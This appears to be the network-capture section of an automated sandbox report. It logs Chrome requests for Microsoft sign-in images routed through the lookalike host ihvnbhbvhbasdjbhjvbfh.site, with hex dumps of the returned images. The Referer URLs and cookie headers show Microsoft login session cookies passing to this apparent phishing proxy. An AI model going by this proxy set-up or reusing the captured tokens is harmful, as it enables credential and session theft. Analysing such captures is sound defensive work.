OpenIdConnect.nonce.v3.DI1SVfhGUguk5nB_e0p3SkgAd7j0hdVFtHpjlusPksI=638507035003575306.1b68d96c-7051-43e8-bf16-eaea96481a3a; X-OWA-RedirectHistory=ArLym14BCtz578Nu3Ag; esctx-CuqbrDa23Ew=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd87h5dDXAY2EEdlPiId2-XkwCMOeNSQLF21NNlaEdYSd8V5QfbZSnPn73uRGLkqk1V-wN8I6k-kGrNH2TQmofbO7_mX0qJ1Q-uFy_TkGdkGkvbEaZBwV4WWPCU-86X929liQD379OExDP-gaxQesAobiAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.AQwAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd86DtB_YYAj5THQZsbosw9EbKFFWs6kQPJsrULt2hi_JDQYrTloCiP80_n-bjkI__ziGJykQI9ANN9wEzfW7NjyPcd9LFENBo59M_rzJ2a86YgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd84FzUbGZrkHzt9rffoHtKZ1gf7CXkAvl2-3cP3Z4X20A8TT--ueflnyHi8Ga2WzRaAVoXC28VHYeXw5B-3INPDMVxnvhuRmlDsv1yeM9y2Ww3TW9Fl7Gt5iLgQhl397YIsKMZVDWan72m21I3u4EjDFcddDfqwByzZHVwy0W9nOcgAA; esctx-xfYD5kxVEwA=AQABCQE [TRUNCATED]
2024-05-07 18:31:52 UTC	744	IN	HTTP/1.1 200 OK Date: Tue, 07 May 2024 18:31:52 GMT Content-Type: image/x-icon Content-Length: 17174 Connection: close Cache-Control: public, max-age=31536000 Last-Modified: Sun, 18 Oct 2020 03:02:03 GMT ETag: 0x8D8731230C851A6 x-ms-request-id: b28785d1-f01e-0025-4920-9ef3a7000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240507T183152Z-17859dc676b5hq9m5shgm95emg00000005dg00000000tu3v x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-05-07 18:31:52 UTC	15640	IN	Data Raw: 00 00 01 00 06 00 80 80 10 00 00 00 00 00 68 28 00 00 66 00 00 00 48 48 10 00 00 00 00 00 e8 0d 00 00 ce 28 00 00 30 30 10 00 00 00 00 00 68 06 00 00 b6 36 00 00 20 20 10 00 00 00 00 00 e8 02 00 00 1e 3d 00 00 18 18 10 00 00 00 00 00 e8 01 00 00 06 40 00 00 10 10 10 00 00 00 00 00 28 01 00 00 ee 41 00 00 28 00 00 00 80 00 00 00 00 01 00 00 01 00 04 00 00 00 00 00 00 28 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 00 ef a4 00 00 00 b9 ff 00 00 ba 7f 00 22 50 f2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 20 00 00 03 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 Data Ascii: h(fHH (00h6 =@(A(("P"""""""""""""""""""""""""""""" 333333333333333
2024-05-07 18:31:52 UTC	1534	IN	Data Raw: 01 80 00 00 00 00 28 00 00 00 20 00 00 00 40 00 00 00 01 00 04 00 00 00 00 00 80 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 00 ef a4 00 00 00 b9 ff 00 00 bc 7b 00 1f 4c f9 00 22 50 f2 00 f7 a6 00 00 00 ba 7f 00 f3 a6 00 00 1e 4e f6 00 23 4e f4 00 f3 a4 00 00 00 bc 7d 00 00 ba 7d 00 00 00 00 00 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 Data Ascii: ( @{L"PN#N}}"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.4	49809	5.230.47.86	443	2484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 18:31:52 UTC	2816	OUT	GET /aadcdn.msauth.net/~/shared/1.0/content/images/appbackgrounds/49-small_e58aafc980614a9cd7796bea7b5ea8f0.jpg HTTP/1.1 Host: ihvnbhbvhbasdjbhjvbfh.site Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ihvnbhbvhbasdjbhjvbfh.site/?olgv469ez=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9OGY0ZTQxM2UtNTUwZS0zYTg5LWMyNDgtYjZhNGE4MWQ5MzJmJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODUwNzAzNTAwMzU3NTMwNi4xYjY4ZDk2Yy03MDUxLTQzZTgtYmYxNi1lYWVhOTY0ODFhM2Emc3RhdGU9RGNzN0VvQXdDQURSUk1mallHQUlueHlIYUd3dHZiNFViN3V0cFpROWJhbGlwcGl5Q3hxeVlESmgxSk9tLWozMEFrTWg2THdjNWtNS0sxWU03VTdCVWZNOTJ2dEYtd0U=&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=lAILIerd6VqP; qPdM.sig=O46um2QxnGuXzggkOskPiGcNVHQ; ClientId=DF04B7FBE22043F481683EC6A771F9AA; OIDC=1; OpenIdConnect.nonce.v3.DI1SVfhGUguk5nB_e0p3SkgAd7j0hdVFtHpjlusPksI=638507035003575306.1b68d96c-7051-43e8-bf16-eaea96481a3a; X-OWA-RedirectHistory=ArLym14BCtz578Nu3Ag; esctx-CuqbrDa23Ew=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd87h5dDXAY2EEdlPiId2-XkwCMOeNSQLF21NNlaEdYSd8V5QfbZSnPn73uRGLkqk1V-wN8I6k-kGrNH2TQmofbO7_mX0qJ1Q-uFy_TkGdkGkvbEaZBwV4WWPCU-86X929liQD379OExDP-gaxQesAobiAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.AQwAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd86DtB_YYAj5THQZsbosw9EbKFFWs6kQPJsrULt2hi_JDQYrTloCiP80_n-bjkI__ziGJykQI9ANN9wEzfW7NjyPcd9LFENBo59M_rzJ2a86YgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd84FzUbGZrkHzt9rffoHtKZ1gf7CXkAvl2-3cP3Z4X20A8TT--ueflnyHi8Ga2WzRaAVoXC28VHYeXw5B-3INPDMVxnvhuRmlDsv1yeM9y2Ww3TW9Fl7Gt5iLgQhl397YIsKMZVDWan72m21I3u4EjDFcddDfqwByzZHVwy0W9nOcgAA; esctx-xfYD5kxVEwA=AQABCQE [TRUNCATED]
2024-05-07 18:31:52 UTC	761	IN	HTTP/1.1 200 OK Date: Tue, 07 May 2024 18:31:52 GMT Content-Type: image/jpeg Content-Length: 987 Connection: close Cache-Control: public, max-age=31536000 Last-Modified: Fri, 27 Mar 2020 19:41:47 GMT ETag: 0x8D7D286E322A911 x-ms-request-id: 5c33c8e8-f01e-0061-0dac-a08cbe000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240507T183152Z-1675f555588t5lwjctpguhe1a800000000dg00000000ttb1 x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-05-07 18:31:52 UTC	987	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 48 00 48 00 00 ff e1 00 66 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 04 01 1a 00 05 00 00 00 01 00 00 00 3e 01 1b 00 05 00 00 00 01 00 00 00 46 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 10 00 00 00 4e 00 00 00 00 00 00 00 48 00 00 00 01 00 00 00 48 00 00 00 01 70 61 69 6e 74 2e 6e 65 74 20 34 2e 32 2e 39 00 ff db 00 43 00 02 01 01 01 01 01 02 01 01 01 02 02 02 02 02 04 03 02 02 02 02 05 04 04 03 04 06 05 06 06 06 05 06 06 06 07 09 08 06 07 09 07 06 06 08 0b 08 09 0a 0a 0a 0a 0a 06 08 0b 0c 0b 0a 0c 09 0a 0a 0a ff db 00 43 01 02 02 02 02 02 02 05 03 03 05 0a 07 06 07 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a Data Ascii: JFIFHHfExifMM*>F(1NHHpaint.net 4.2.9C C

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.4	49807	5.230.47.86	443	2484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 18:31:52 UTC	2810	OUT	GET /aadcdn.msauth.net/~/shared/1.0/content/images/appbackgrounds/49_7916a894ebde7d29c2cc29b267f1299f.jpg HTTP/1.1 Host: ihvnbhbvhbasdjbhjvbfh.site Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ihvnbhbvhbasdjbhjvbfh.site/?olgv469ez=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9OGY0ZTQxM2UtNTUwZS0zYTg5LWMyNDgtYjZhNGE4MWQ5MzJmJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODUwNzAzNTAwMzU3NTMwNi4xYjY4ZDk2Yy03MDUxLTQzZTgtYmYxNi1lYWVhOTY0ODFhM2Emc3RhdGU9RGNzN0VvQXdDQURSUk1mallHQUlueHlIYUd3dHZiNFViN3V0cFpROWJhbGlwcGl5Q3hxeVlESmgxSk9tLWozMEFrTWg2THdjNWtNS0sxWU03VTdCVWZNOTJ2dEYtd0U=&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=lAILIerd6VqP; qPdM.sig=O46um2QxnGuXzggkOskPiGcNVHQ; ClientId=DF04B7FBE22043F481683EC6A771F9AA; OIDC=1; OpenIdConnect.nonce.v3.DI1SVfhGUguk5nB_e0p3SkgAd7j0hdVFtHpjlusPksI=638507035003575306.1b68d96c-7051-43e8-bf16-eaea96481a3a; X-OWA-RedirectHistory=ArLym14BCtz578Nu3Ag; esctx-CuqbrDa23Ew=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd87h5dDXAY2EEdlPiId2-XkwCMOeNSQLF21NNlaEdYSd8V5QfbZSnPn73uRGLkqk1V-wN8I6k-kGrNH2TQmofbO7_mX0qJ1Q-uFy_TkGdkGkvbEaZBwV4WWPCU-86X929liQD379OExDP-gaxQesAobiAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.AQwAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd86DtB_YYAj5THQZsbosw9EbKFFWs6kQPJsrULt2hi_JDQYrTloCiP80_n-bjkI__ziGJykQI9ANN9wEzfW7NjyPcd9LFENBo59M_rzJ2a86YgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd84FzUbGZrkHzt9rffoHtKZ1gf7CXkAvl2-3cP3Z4X20A8TT--ueflnyHi8Ga2WzRaAVoXC28VHYeXw5B-3INPDMVxnvhuRmlDsv1yeM9y2Ww3TW9Fl7Gt5iLgQhl397YIsKMZVDWan72m21I3u4EjDFcddDfqwByzZHVwy0W9nOcgAA; esctx-xfYD5kxVEwA=AQABCQE [TRUNCATED]
2024-05-07 18:31:52 UTC	763	IN	HTTP/1.1 200 OK Date: Tue, 07 May 2024 18:31:52 GMT Content-Type: image/jpeg Content-Length: 17453 Connection: close Cache-Control: public, max-age=31536000 Last-Modified: Fri, 27 Mar 2020 19:41:47 GMT ETag: 0x8D7D286E30A1202 x-ms-request-id: 76c4bf79-501e-0057-23ac-a057a3000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240507T183152Z-1675f555588qblsvr976rkuqp8000000052000000000amdk x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-05-07 18:31:52 UTC	15621	IN	Data Raw: ff d8 ff e1 09 50 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 31 34 32 20 37 39 2e 31 36 30 39 32 34 2c 20 32 30 31 37 2f 30 37 2f 31 33 2d 30 31 3a 30 36 3a 33 39 20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 44 46 20 78 6d 6c 6e 73 3a 72 64 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 30 32 2f 32 32 2d 72 64 66 2d 73 79 6e Data Ascii: Phttp://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c142 79.160924, 2017/07/13-01:06:39 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syn
2024-05-07 18:31:52 UTC	1832	IN	Data Raw: 45 41 44 01 40 00 04 11 40 00 01 00 14 01 40 00 00 10 01 40 14 40 00 00 50 00 00 04 00 00 05 00 45 00 00 05 00 00 01 00 05 50 00 00 04 00 00 05 1f ff d3 db c0 6d cd 05 45 00 00 00 04 50 1c 8a 02 00 00 00 00 04 48 aa 0e 45 15 10 00 00 00 00 00 04 82 80 90 50 10 00 04 01 44 14 51 14 10 51 11 05 01 05 40 00 00 00 00 15 40 00 00 00 40 54 50 42 28 00 00 00 00 00 00 00 02 80 00 00 00 20 00 02 a2 8a 00 00 00 00 0a 02 00 00 00 02 28 00 8a 80 00 a0 02 0a 08 a8 28 08 a0 00 02 80 a8 22 80 88 a0 2a 28 00 02 00 28 20 a2 08 28 08 00 02 88 00 0a 82 80 8a 00 00 8a 00 00 08 00 00 02 00 00 00 0a 00 a8 a8 a0 82 a2 00 00 00 8a 00 a0 02 00 02 80 20 00 00 00 00 80 00 00 22 a0 a0 20 00 2a 2a 00 02 8a 80 8a 20 82 88 00 00 00 0a 00 a0 00 00 08 02 a8 8a 02 00 28 00 80 02 80 02 00 Data Ascii: EAD@@@@@PEPmEPHEPDQQ@@@TPB( ( ("(( ( " * (

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.4	49808	5.230.47.86	443	2484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 18:31:52 UTC	2804	OUT	GET /aadcdn.msauth.net/~/shared/1.0/content/images/applogos/53_8b36337037cff88c3df203bb73d58e41.png HTTP/1.1 Host: ihvnbhbvhbasdjbhjvbfh.site Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ihvnbhbvhbasdjbhjvbfh.site/?olgv469ez=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9OGY0ZTQxM2UtNTUwZS0zYTg5LWMyNDgtYjZhNGE4MWQ5MzJmJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODUwNzAzNTAwMzU3NTMwNi4xYjY4ZDk2Yy03MDUxLTQzZTgtYmYxNi1lYWVhOTY0ODFhM2Emc3RhdGU9RGNzN0VvQXdDQURSUk1mallHQUlueHlIYUd3dHZiNFViN3V0cFpROWJhbGlwcGl5Q3hxeVlESmgxSk9tLWozMEFrTWg2THdjNWtNS0sxWU03VTdCVWZNOTJ2dEYtd0U=&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=lAILIerd6VqP; qPdM.sig=O46um2QxnGuXzggkOskPiGcNVHQ; ClientId=DF04B7FBE22043F481683EC6A771F9AA; OIDC=1; OpenIdConnect.nonce.v3.DI1SVfhGUguk5nB_e0p3SkgAd7j0hdVFtHpjlusPksI=638507035003575306.1b68d96c-7051-43e8-bf16-eaea96481a3a; X-OWA-RedirectHistory=ArLym14BCtz578Nu3Ag; esctx-CuqbrDa23Ew=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd87h5dDXAY2EEdlPiId2-XkwCMOeNSQLF21NNlaEdYSd8V5QfbZSnPn73uRGLkqk1V-wN8I6k-kGrNH2TQmofbO7_mX0qJ1Q-uFy_TkGdkGkvbEaZBwV4WWPCU-86X929liQD379OExDP-gaxQesAobiAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.AQwAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd86DtB_YYAj5THQZsbosw9EbKFFWs6kQPJsrULt2hi_JDQYrTloCiP80_n-bjkI__ziGJykQI9ANN9wEzfW7NjyPcd9LFENBo59M_rzJ2a86YgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd84FzUbGZrkHzt9rffoHtKZ1gf7CXkAvl2-3cP3Z4X20A8TT--ueflnyHi8Ga2WzRaAVoXC28VHYeXw5B-3INPDMVxnvhuRmlDsv1yeM9y2Ww3TW9Fl7Gt5iLgQhl397YIsKMZVDWan72m21I3u4EjDFcddDfqwByzZHVwy0W9nOcgAA; esctx-xfYD5kxVEwA=AQABCQE [TRUNCATED]
2024-05-07 18:31:52 UTC	761	IN	HTTP/1.1 200 OK Date: Tue, 07 May 2024 18:31:52 GMT Content-Type: image/png Content-Length: 5139 Connection: close Cache-Control: public, max-age=31536000 Last-Modified: Wed, 12 Feb 2020 03:12:12 GMT ETag: 0x8D7AF695A8C44DC x-ms-request-id: 6a44e7d6-b01e-0065-77ac-a020b6000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240507T183152Z-1675f555588tc4b799hgh77vs0000000054000000000bg5u x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-05-07 18:31:52 UTC	5139	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 56 00 00 00 48 08 06 00 00 00 ad 04 dd dc 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 25 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 31 34 38 20 37 39 2e 31 36 34 30 33 36 2c 20 32 30 31 39 2f 30 38 2f 31 33 2d 30 31 3a 30 36 3a 35 37 20 20 Data Ascii: PNG IHDRVHtEXtSoftwareAdobe ImageReadyqe<%iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c148 79.164036, 2019/08/13-01:06:57

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.4	49810	5.230.47.86	443	2484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 18:31:52 UTC	2807	OUT	GET /aadcdn.msauth.net/~/shared/1.0/content/images/signin-options_4e48046ce74f4b89d45037c90576bfac.svg HTTP/1.1 Host: ihvnbhbvhbasdjbhjvbfh.site Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ihvnbhbvhbasdjbhjvbfh.site/?olgv469ez=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9OGY0ZTQxM2UtNTUwZS0zYTg5LWMyNDgtYjZhNGE4MWQ5MzJmJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODUwNzAzNTAwMzU3NTMwNi4xYjY4ZDk2Yy03MDUxLTQzZTgtYmYxNi1lYWVhOTY0ODFhM2Emc3RhdGU9RGNzN0VvQXdDQURSUk1mallHQUlueHlIYUd3dHZiNFViN3V0cFpROWJhbGlwcGl5Q3hxeVlESmgxSk9tLWozMEFrTWg2THdjNWtNS0sxWU03VTdCVWZNOTJ2dEYtd0U=&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=lAILIerd6VqP; qPdM.sig=O46um2QxnGuXzggkOskPiGcNVHQ; ClientId=DF04B7FBE22043F481683EC6A771F9AA; OIDC=1; OpenIdConnect.nonce.v3.DI1SVfhGUguk5nB_e0p3SkgAd7j0hdVFtHpjlusPksI=638507035003575306.1b68d96c-7051-43e8-bf16-eaea96481a3a; X-OWA-RedirectHistory=ArLym14BCtz578Nu3Ag; 